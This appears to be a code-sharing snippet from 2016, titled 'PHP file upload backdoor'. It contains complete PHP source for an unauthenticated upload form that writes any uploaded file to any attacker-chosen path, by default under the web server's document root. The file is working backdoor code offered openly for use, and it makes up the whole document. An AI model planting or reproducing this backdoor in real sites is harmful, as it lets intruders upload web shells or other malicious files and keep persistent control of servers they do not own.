Created
February 10, 2016 20:19
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PHP file upload backdoor
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| <?php | |
| $self = $_SERVER['PHP_SELF']; | |
| $docr = $_SERVER['DOCUMENT_ROOT']; | |
| $sern = $_SERVER['SERVER_NAME']; | |
| $tend = "</tr></form></table><br><br><br><br>"; | |
| if (!empty($_GET['ac'])) {$ac = $_GET['ac'];} | |
| elseif (!empty($_POST['ac'])) {$ac = $_POST['ac'];} | |
| else {$ac = "upload";} | |
| switch($ac) { | |
| case "upload": | |
| echo <<<HTML | |
| <table> | |
| <form enctype="multipart/form-data" action="$self" method="POST"> | |
| <input type="hidden" name="ac" value="upload"> | |
| <tr> | |
| <input size="5" name="file" type="file"></td> | |
| </tr> | |
| <tr> | |
| <td><input size="10" value="$docr/" name="path" type="text"><input type="submit" value="ОК"></td> | |
| $tend | |
| HTML; | |
| if (isset($_POST['path'])){ | |
| $uploadfile = $_POST['path'].$_FILES['file']['name']; | |
| if ($_POST['path']==""){$uploadfile = $_FILES['file']['name'];} | |
| if (copy($_FILES['file']['tmp_name'], $uploadfile)) { | |
| echo "File ".$_FILES['file']['name']." uploaded"; | |
| } else { | |
| print "Not working: info:\n"; | |
| print_r($_FILES); | |
| } | |
| } | |
| break; | |
| } | |
| ?> | |
| </pre> |
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